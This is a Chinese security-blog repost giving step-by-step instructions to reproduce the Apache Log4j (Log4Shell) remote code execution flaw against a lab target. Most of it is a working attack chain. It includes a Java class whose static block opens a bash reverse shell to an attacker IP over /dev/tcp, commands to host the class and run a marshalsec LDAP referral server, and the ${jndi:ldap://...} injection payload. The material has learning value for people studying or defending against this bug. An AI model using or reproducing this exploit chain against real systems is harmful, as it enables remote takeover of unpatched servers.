【知识积累】Apache Log4j任意代码执行复现

admin 2022年1月10日03:34:11评论153 views字数 693阅读2分18秒阅读模式


【知识积累】Apache Log4j任意代码执行复现

Apache Log4j任意代码执行复现

1、构造反序列化exp,改一下ip就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import java.lang.Runtime;
import java.lang.Process;

public class Exp {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/ip/12000 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}

2、用javac编译一下

3、将刚刚得到的class放入我们即将开启的web目录里面,然后开启

1
python -m SimpleHTTPServer 80

4、访问效果可以看一下

5、然后我们去github上下一个ldap对应的注入工具

1
https://github.com/RandomRobbieBF/marshalsec-jar

6、然后执行以下命令

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://ip/#Exp" 9999

7、nc开启监听命令

8、准备工作搞完了,就直接payload

1
${jndi:ldap://ip:9999/Exp}

靶场测试:http://d63bb2586.lab.aqlab.cn/

9、接着就弹shell了

FROM:gylq.gitee Author:孤桜懶契

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月10日03:34:11
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【知识积累】Apache Log4j任意代码执行复现http://cn-sec.com/archives/730045.html

发表评论

匿名网友 填写信息